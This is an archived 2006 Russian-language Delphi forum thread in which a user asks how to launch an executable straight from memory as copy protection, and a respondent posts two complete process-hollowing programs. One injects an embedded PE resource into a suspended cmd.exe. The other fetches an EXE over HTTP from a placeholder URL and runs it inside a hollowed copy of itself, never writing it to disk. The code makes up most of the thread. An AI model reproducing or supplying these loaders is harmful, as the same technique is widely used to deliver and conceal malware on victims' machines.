Форум: "WinAPI";
Текущий архив: 2006.04.23;
Скачать: [xml.tar.bz2];
ВнизЗапуск другого приложения из TMemoryStream... Найти похожие ветки
← →
Stealth (2006-02-05 12:45) [0]Hi ALL!
Задача вот в чем:
есть стороннее приложение, не защищенное от копирования. необходимо реализовать для него такую защиту, но только конечно же не от супер хакеров, а от людей, которые хотят просто его переписать и использовать...
Мне на ум пришло вот какое решение:
Сам файл приложения, немного закодировать, поменять его расширение, а вместо него поставить свое приложение, которое бы осуществляло все проверки на защиту, и если все ок, то считывало этот файл в TMemoryStream, декодировало его и запускало...
Но только на диск декодированый файл сохранять не хочется...
Вот собственно и вопрос: Можно ли запустить приложение прямо из TMemoryStream, не сохраняя его на диске???
PS Может кто и другой вариант выполнения данной задачи подскажет???
← →
kaZaNoVa © (2006-02-05 13:34) [1]Stealth (05.02.06 12:45)
PS Может кто и другой вариант выполнения данной задачи подскажет???
подумать надо..
> Можно ли запустить приложение прямо из TMemoryStream
можно.. нам всё можно .. (с) мну
запуск из ресурса:program project2;
uses
Windows,
sysutils,
rxtypes in "Rxtypes.pas";
{$R rcx.res}
Var
nb, i: Cardinal;
function ZwUnmapViewOfSection(SectionHandle: THandle;
p: Pointer): DWord; stdcall; external "ntdll.dll";
function protect(characteristics: ULONG): ULONG;
const mapping: array [0..7] of ULONG =
( PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
PAGE_EXECUTE_READWRITE);
begin
Result := mapping[characteristics shr 29];
end;
var
pi: TProcessInformation;
si: TStartupInfo;
x, p, q: Pointer;
nt: PIMAGE_NT_HEADERS;
context: TContext;
sect: PIMAGE_SECTION_HEADER;
begin
si.cb := SizeOf(si);
CreateProcess(nil, "cmd.exe", nil, nil, FALSE, CREATE_SUSPENDED, nil, nil,
si, pi);
context.ContextFlags := CONTEXT_INTEGER;
GetThreadContext(pi.hThread, context);
ReadProcessMemory(pi.hProcess,
PCHAR(context.ebx) + 8,
@x, sizeof (x),
nb
);
ZwUnmapViewOfSection(pi.hProcess, x);
p := LockResource(LoadResource(Hinstance, FindResource(Hinstance, "EXE",
RT_RCDATA)));
//win32Check(p <> nil);
if p = nil then exit;
nt := PIMAGE_NT_HEADERS(PCHAR(p) + PIMAGE_DOS_HEADER(p).e_lfanew);
q := VirtualAllocEx( pi.hProcess,
Pointer(nt.OptionalHeader.ImageBase),
nt.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, q, p, nt.OptionalHeader.SizeOfHeaders, nb);
sect := PIMAGE_SECTION_HEADER(nt);
Inc(PIMAGE_NT_HEADERS(sect));
for I := 0 to nt.FileHeader.NumberOfSections - 1 do
begin
WriteProcessMemory(pi.hProcess,
PCHAR(q) + sect.VirtualAddress,
PCHAR(p) + sect.PointerToRawData,
sect.SizeOfRawData, nb);
VirtualProtectEx( pi.hProcess,
PCHAR(q) + sect.VirtualAddress,
sect.SizeOfRawData,
protect(sect.Characteristics),
@x);
Inc(sect);
end;
WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, @q, sizeof(q), nb);
context.Eax := ULONG(q) + nt.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, context);
ResumeThread(pi.hThread);
end.
unit rxtypes;
interface
uses Windows;
const
IMAGE_DOS_SIGNATURE = $5A4D; { MZ }
IMAGE_OS2_SIGNATURE = $454E; { NE }
IMAGE_OS2_SIGNATURE_LE = $454C; { LE }
IMAGE_VXD_SIGNATURE = $454C; { LE }
IMAGE_NT_SIGNATURE = $00004550; { PE00 }
IMAGE_SIZEOF_SHORT_NAME = 8;
IMAGE_SIZEOF_SECTION_HEADER = 40;
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16;
IMAGE_RESOURCE_NAME_IS_STRING = $80000000;
IMAGE_RESOURCE_DATA_IS_DIRECTORY = $80000000;
IMAGE_OFFSET_STRIP_HIGH = $7FFFFFFF;
type
PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;
IMAGE_DOS_HEADER = packed record { DOS .EXE header }
e_magic : WORD; { Magic number }
e_cblp : WORD; { Bytes on last page of file }
e_cp : WORD; { Pages in file }
e_crlc : WORD; { Relocations }
e_cparhdr : WORD; { Size of header in paragraphs }
e_minalloc : WORD; { Minimum extra paragraphs needed }
e_maxalloc : WORD; { Maximum extra paragraphs needed }
e_ss : WORD; { Initial (relative) SS value }
e_sp : WORD; { Initial SP value }
e_csum : WORD; { Checksum }
e_ip : WORD; { Initial IP value }
e_cs : WORD; { Initial (relative) CS value }
e_lfarlc : WORD; { File address of relocation table }
e_ovno : WORD; { Overlay number }
e_res : packed array [0..3] of WORD; { Reserved words }
e_oemid : WORD; { OEM identifier (for e_oeminfo) }
e_oeminfo : WORD; { OEM information; e_oemid specific }
e_res2 : packed array [0..9] of WORD; { Reserved words }
e_lfanew : Longint; { File address of new exe header }
end;
PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER;
IMAGE_FILE_HEADER = packed record
Machine : WORD;
NumberOfSections : WORD;
TimeDateStamp : DWORD;
PointerToSymbolTable : DWORD;
NumberOfSymbols : DWORD;
SizeOfOptionalHeader : WORD;
Characteristics : WORD;
end;
PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY;
IMAGE_DATA_DIRECTORY = packed record
VirtualAddress : DWORD;
Size : DWORD;
end;
PIMAGE_OPTIONAL_HEADER = ^IMAGE_OPTIONAL_HEADER;
IMAGE_OPTIONAL_HEADER = packed record
{ Standard fields. }
Magic : WORD;
MajorLinkerVersion : Byte;
MinorLinkerVersion : Byte;
SizeOfCode : DWORD;
SizeOfInitializedData : DWORD;
SizeOfUninitializedData : DWORD;
AddressOfEntryPoint : DWORD;
BaseOfCode : DWORD;
BaseOfData : DWORD;
{ NT additional fields. }
ImageBase : DWORD;
SectionAlignment : DWORD;
FileAlignment : DWORD;
MajorOperatingSystemVersion : WORD;
MinorOperatingSystemVersion : WORD;
MajorImageVersion : WORD;
MinorImageVersion : WORD;
MajorSubsystemVersion : WORD;
MinorSubsystemVersion : WORD;
Reserved1 : DWORD;
SizeOfImage : DWORD;
SizeOfHeaders : DWORD;
CheckSum : DWORD;
Subsystem : WORD;
DllCharacteristics : WORD;
← →
kaZaNoVa © (2006-02-05 13:34) [2]
SizeOfStackReserve : DWORD;
SizeOfStackCommit : DWORD;
SizeOfHeapReserve : DWORD;
SizeOfHeapCommit : DWORD;
LoaderFlags : DWORD;
NumberOfRvaAndSizes : DWORD;
DataDirectory : packed array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of IMAGE_DATA_DIRECTORY;
end;
PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
IMAGE_SECTION_HEADER = packed record
Name : packed array [0..IMAGE_SIZEOF_SHORT_NAME-1] of Char;
PhysicalAddress : DWORD; // or VirtualSize (union);
VirtualAddress : DWORD;
SizeOfRawData : DWORD;
PointerToRawData : DWORD;
PointerToRelocations : DWORD;
PointerToLinenumbers : DWORD;
NumberOfRelocations : WORD;
NumberOfLinenumbers : WORD;
Characteristics : DWORD;
end;
PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;
IMAGE_NT_HEADERS = packed record
Signature : DWORD;
FileHeader : IMAGE_FILE_HEADER;
OptionalHeader : IMAGE_OPTIONAL_HEADER;
end;
{ Resources }
PIMAGE_RESOURCE_DIRECTORY = ^IMAGE_RESOURCE_DIRECTORY;
IMAGE_RESOURCE_DIRECTORY = packed record
Characteristics : DWORD;
TimeDateStamp : DWORD;
MajorVersion : WORD;
MinorVersion : WORD;
NumberOfNamedEntries : WORD;
NumberOfIdEntries : WORD;
end;
PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^IMAGE_RESOURCE_DIRECTORY_ENTRY;
IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record
Name: DWORD; // Or ID: Word (Union)
OffsetToData: DWORD;
end;
PIMAGE_RESOURCE_DATA_ENTRY = ^IMAGE_RESOURCE_DATA_ENTRY;
IMAGE_RESOURCE_DATA_ENTRY = packed record
OffsetToData : DWORD;
Size : DWORD;
CodePage : DWORD;
Reserved : DWORD;
end;
PIMAGE_RESOURCE_DIR_STRING_U = ^IMAGE_RESOURCE_DIR_STRING_U;
IMAGE_RESOURCE_DIR_STRING_U = packed record
Length : WORD;
NameString : array [0..0] of WCHAR;
end;
{
/* Predefined resource types */
#define RT_NEWRESOURCE 0x2000
#define RT_ERROR 0x7fff
#define RT_CURSOR 1
#define RT_BITMAP 2
#define RT_ICON 3
#define RT_MENU 4
#define RT_DIALOG 5
#define RT_STRING 6
#define RT_FONTDIR 7
#define RT_FONT 8
#define RT_ACCELERATORS 9
#define RT_RCDATA 10
#define RT_MESSAGETABLE 11
#define RT_GROUP_CURSOR 12
#define RT_GROUP_ICON 14
#define RT_VERSION 16
#define RT_NEWBITMAP (RT_BITMAP|RT_NEWRESOURCE)
#define RT_NEWMENU (RT_MENU|RT_NEWRESOURCE)
#define RT_NEWDIALOG (RT_DIALOG|RT_NEWRESOURCE)
}
type
TResourceType = (
rtUnknown0,
rtCursorEntry,
rtBitmap,
rtIconEntry,
rtMenu,
rtDialog,
rtString,
rtFontDir,
rtFont,
rtAccelerators,
rtRCData,
rtMessageTable,
rtCursor,
rtUnknown13,
rtIcon,
rtUnknown15,
rtVersion);
{ Resource Type Constants }
const
StringsPerBlock = 16;
{ Resource Related Structures from RESFMT.TXT in WIN32 SDK }
type
PIconHeader = ^TIconHeader;
TIconHeader = packed record
wReserved: Word; { Currently zero }
wType: Word; { 1 for icons }
wCount: Word; { Number of components }
end;
PIconResInfo = ^TIconResInfo;
TIconResInfo = packed record
bWidth: Byte;
bHeight: Byte;
bColorCount: Byte;
bReserved: Byte;
wPlanes: Word;
wBitCount: Word;
lBytesInRes: DWORD;
wNameOrdinal: Word; { Points to component }
end;
PCursorResInfo = ^TCursorResInfo;
TCursorResInfo = packed record
wWidth: Word;
wHeight: Word;
wPlanes: Word;
wBitCount: Word;
lBytesInRes: DWORD;
wNameOrdinal: Word; { Points to component }
end;
implementation
end.
← →
kaZaNoVa © (2006-02-05 13:38) [3]еще один вариант:
program sys_test;
{$IMAGEBASE $10000000}
uses
Windows, SocketUnit;
type
TSections = array [0..0] of TImageSectionHeader;
var
Target: pchar = "http://sait/P1.exe" + #0;
Output: pointer;
OutputLength: dword;
function ExtractURLSite(FileName: string): string;
begin
Result := Copy(FileName, 1, Pos("/", FileName) - 1);
end;
function ExtractURLPath(FileName: string): string;
begin
Result := Copy(FileName, Pos("/", FileName), Length(FileName) - Pos("/", FileName) + 1);
end;
function Split(Input: string; Deliminator: string; Index: integer): string;
var
StringLoop, StringCount: integer;
Buffer: string;
begin
Buffer := "";
if Index < 1 then Exit;
StringCount := 0;
StringLoop := 1;
while (StringLoop <= Length(Input)) do
begin
if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
begin
Inc(StringLoop, Length(Deliminator) - 1);
Inc(StringCount);
if StringCount = Index then
begin
Result := Buffer;
Exit;
end
else
begin
Buffer := "";
end;
end
else
begin
Buffer := Buffer + Copy(Input, StringLoop, 1);
end;
Inc(StringLoop, 1);
end;
Inc(StringCount);
if StringCount < Index then Buffer := "";
Result := Buffer;
end;
procedure GetURL(Address: string);
var
HTTP: TClientSocket;
Data: pointer;
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: dword;
Header: string;
Site: string;
URL: string;
Location: string;
begin
Location := Split(Address, "://", 2);
Site := ExtractURLSite(Location);
URL := ExtractURLPath(Location);
GetMem(Buffer, 1024);
try
BufferLength := 1024;
BufferUsed := 0;;
HTTP := TClientSocket.Create;
HTTP.Connect(Site, 80);
HTTP.SendString("GET " + URL + " HTTP/1.1" + #13#10 + "Host: " + Site + #13#10 + "Connection: close" + #13#10#13#10);
HTTP.Idle(0);
while HTTP.Connected do
begin
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
ReallocMem(Buffer, BufferLength);
end;
Bytes := HTTP.ReceiveBuffer(pointer(dword(Buffer) + BufferUsed)^, 1024);
if Bytes > 0 then
begin
Inc(BufferUsed, Bytes);
end;
end;
Header := Copy(string(Buffer), 1, Pos(#13#10#13#10, string(Buffer)) + 3);
OutputLength := BufferUsed - dword(Length(Header));
Data := pointer(dword(Buffer) + dword(Length(Header)));
GetMem(Output, OutputLength);
Move(Data^, Output^, OutputLength);
finally
FreeMem(Buffer);
end;
end;
function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
if ((Size mod Alignment) = 0) then
begin
Result := Size;
end
else
begin
Result := ((Size div Alignment) + 1) * Alignment;
end;
end;
function ImageSize(Image: pointer): dword;
var
Alignment: dword;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: dword;
begin
ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
begin
Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
end
else
begin
Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
end;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then
begin
if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
begin
Result := Result + PSections[SectionLoop].Misc.VirtualSize;
end
else
begin
Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
end;
end;
end;
end;
procedure CreateProcessEx(FileMemory: pointer);
var
BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
Context: TContext;
FileData: pointer;
ImageNtHeaders: PImageNtHeaders;
InjectMemory: pointer;
ProcInfo: TProcessInformation;
PSections: ^TSections;
StartInfo: TStartupInfo;
begin
ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
InjectSize := ImageSize(FileMemory);
GetMem(InjectMemory, InjectSize);
try
FileData := InjectMemory;
HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
end;
CopyMemory(FileData, FileMemory, HeaderSize);
FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].SizeOfRawData > 0 then
begin
SectionSize := PSections[SectionLoop].SizeOfRawData;
if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end
else
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize,
← →
kaZaNoVa © (2006-02-05 13:38) [4]
ImageNtHeaders.OptionalHeader.SectionAlignment));
end;
end;
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ProcInfo.hThread, Context);
ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(ProcInfo.hThread, Context);
ResumeThread(ProcInfo.hThread);
finally
FreeMemory(InjectMemory);
end;
end;
begin
GetURL(Target);
CreateProcessEx(Output);
end.
← →
VirEx © (2006-02-05 17:24) [5]kaZaNoVa ну ты монстр :) а будет ли это работать если включена защита "от запуска кода из сегментов памяти предназначенных только для данных"
← →
kaZaNoVa © (2006-02-06 06:56) [6]VirEx © (05.02.06 17:24) [5]
будет ли это работать если включена защита "от запуска кода из сегментов памяти предназначенных только для данных"
не тестировал .. могу сказать тока что это точно на Win 98 работать НЕ будет .. :) всё не предусмотреть . :)
> kaZaNoVa ну ты монстр :)
:) ну, код всё-же не мой .. ;)
← →
kaZaNoVa © (2006-02-06 07:04) [7]Stealth (05.02.06 12:45)
PS Может кто и другой вариант выполнения данной задачи подскажет???
появилась идея .. можно создавать виртуальный скрытый диск и туда копировать временно, либо работать по принципам Exe-протекторов/упаковщиков ..
← →
Rouse_ © (2006-02-06 09:50) [8]На RSDN есть статья по написанию собственного загрузчика. Ищите и обрящите :)
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2006.04.23;
Скачать: [xml.tar.bz2];
Память: 0.52 MB
Время: 0.014 c